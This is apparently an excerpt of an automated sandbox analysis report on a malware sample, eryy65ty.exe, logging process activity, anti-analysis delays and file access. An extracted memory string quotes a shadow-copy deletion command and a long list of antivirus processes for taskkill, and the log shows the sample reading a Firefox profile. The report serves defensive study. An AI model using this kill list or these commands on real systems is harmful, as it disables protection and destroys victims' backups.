Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: eryy65ty.exe, 00000022.00000000.1645551347.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 00000029.00000000.1829617145.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 0000002E.00000000.1911486180.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe.31.dr

Binary or memory string: COULD NOT CREATE CHILD PROCESSWOW64DISABLEWOW64FSREDIRECTIONKERNEL32.DLLWOW64REVERTWOW64FSREDIRECTIONABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ\WMIC.EXE\..\\WBEM\\SYSTEM32\\WINDOWS\C:\SHADOWCOPY DELETEAVPMAPP.EXE,ECONCEAL.EXE,SECHEALTHUI.EXE,RUNTIMEBROKER.EXE,ESCANMON.EXE,ESCANPRO.EXE,TRAYSSER.EXE,TRAYICOS.EXE,ECONSER.EXE,VIEWTCP.EXE,FSHDLL64.EXE,FSGK32.EXE,FSHOSTER32.EXE,FSMA32.EXE,FSORSP.EXE,FSSM32.EXE,FSM32.EXE,TRIGGER.EXE,FPROTTRAY.EXE,FPWIN.EXE,FPAVSERVER.EXE,AVK.EXE,GDBGINX64.EXE,AVKPROXY.EXE,GDSCAN.EXE,AVKWCTLX64.EXE,AVKSERVICE.EXE,AVKTRAY.EXE,GDKBFLTEXE32.EXE,GDSC.EXE,VIRUSUTILITIES.EXE,GUARDXSERVICE.EXE,GUARDXKICKOFF_X64.EXE,IPTRAY.EXE,FRESHCLAM.EXE,FRESHCLAMWRAP.EXE,K7RTSCAN.EXE,K7FWSRVC.EXE,K7PSSRVC.EXE,K7EMLPXY.EXE,K7TSECURITY.EXE,K7AVSCAN.EXE,K7CRVSVC.EXE,K7SYSMON.EXE,K7TSMAIN.EXE,K7TSMNGR.EXE,MPCMDRUN.EXE,NANOSVC.EXE,NANOAV.EXE,NNF.EXE,NVCSVC.EXE,NBROWSER.EXE,NSEUPDATESVC.EXE,NFSERVICE.EXE,CMD.EXETASKKILL/IMNWSCMON.EXE,NJEEVES2.EXE,NVCOD.EXE,NVOY.EXE,ZLHH.EXE,ZLH.EXE,NPROSEC.EXE,ZANDA.EXE,NS.EXE,ACS.EXE,OP_MON.EXE,PSANHOST.EXE,PSUAMAIN.EXE,PSUASERVICE.EXE,AGENTSVC.EXE,BDSSVC.EXE,EMLPROXY.EXE,OPSSVC.EXE,ONLINENT.EXE,QUHLPSVC.EXE,SAPISSVC.EXE,SCANNER.EXE,SCANWSCS.EXE,SCPROXYSRV.EXE,SCSECSVC.EXE,SUPERANTISPYWARE.EXE,SASCORE64.EXE,SSUPDATE64.EXE,SUPERDELETE.EXE,SASTASK.EXE,K7RTSCAN.EXE,K7FWSRVC.EXE,K7PSSRVC.EXE,K7EMLPXY.EXE,K7TSECURITY.EXE,K7AVSCAN.EXE,K7CRVSVC.EXE,K7SYSMON.EXE,K7TSMAIN.EXE,K7TSMNGR.EXE,UIWINMGR.EXE,UIWATCHDOG.EXE,UISEAGNT.EXE,PTWATCHDOG.EXE,PTSVCHOST.EXE,PTSESSIONAGENT.EXE,COREFRAMEWORKHOST.EXE,CORESERVICESHELL.EXE,UIUPDATETRAY.EXE,VIPREUI.EXE,SBAMSVC.EXE,SBAMTRAY.EXE,SBPIMSVC.EXE,BAVHM.EXE,BAVSVC.EXE,BAVTRAY.EXE,BAV.EXE,BAVWEBCLIENT.EXE,BAVUPDATER.EXE,MCSHIELDCCC.EXE,MCSHIELDRTM.EXE,MCSHIELDDS.EXE,MCS-UNINSTALL.EXE,SDSCAN.EXE,SDFSSVC.EXE,SDWELCOME.EXE,SDTRAY.EXE,UNTHREAT.EXE,UTSVC.EXE,FORTICLIENT.EXE,FCAPPDB.EXE,FCDBLOG.EXE,FCHELPER64.EXE,FMON.EXE,FORTIESNAC.EXE,FORTIPROXY.EXE,FORTISSLVPNDAEMON.EXE,FORTITRAY.EXE,FORTIFW.EXE,FORTICLIENT_DIAGNOSTIC_TOOL.EXE,AV_TASK.EXE,CERTREG.EXE,FILMSG.EXE,FILUP.EXE,FILWSCC.EXE,FILWSCC.EXE,PSVIEW.EXE,QUAMGR.EXE,QUAMGR.EXE,SCHMGR.EXE,SCHMGR.EXE,TWSSCAN.EXE,TWSSRV.EXE,USERREG.EXESEDEBUGPRIVILEGECOULD NOT SET SE_DEBUG_NAME PRIVILEGE

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-client-migration-replacement.man
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-drivers-migration-replacement.man
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-migration-replacement.man

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3213	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3486	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1304	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4873	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3879	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7239
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2480
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4433
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5299

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7528	Thread sleep count: 3213 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7532	Thread sleep count: 3486 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7556	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7236	Thread sleep count: 8000 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5452	Thread sleep count: 1304 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8116	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8412	Thread sleep count: 4873 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8460	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8416	Thread sleep count: 3879 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8488	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8396	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8496	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2060	Thread sleep count: 7239 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7772	Thread sleep count: 2480 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2296	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7716	Thread sleep count: 4433 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4372	Thread sleep count: 5299 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4612	Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4296	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 8524	Thread sleep count: 39 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 8524	Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 1212	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 5432	Thread sleep count: 63 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 7720	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 2536	Thread sleep count: 41 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 2536	Thread sleep count: 71 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 5324	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: svchost.exe, 0000000A.00000002.2599654108.000002B6C8E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2602278019.000002B6CE65B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1696503498461.1e2e5577-cac5-4055-93e4-8fa3b7876f3a.first-shutdown.jsonlz4.34.dr	Binary or memory string: "VMware V[

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\permissions.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\events\background-update
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503498454.ca69b6fc-ff9f-4d48-bb41-c9832fdd5179.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\ca69b6fc-ff9f-4d48-bb41-c9832fdd5179
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\pending_pings\a355f32b-289e-4776-8e42-86a89b981f1a
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\compatibility.ini
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\sessionCheckpoints.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513571.e8b29a6f-8340-4314-aa45-e868999caed9.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\e8b29a6f-8340-4314-aa45-e868999caed9
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\1e2e5577-cac5-4055-93e4-8fa3b7876f3a
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\search.json.mozlz4
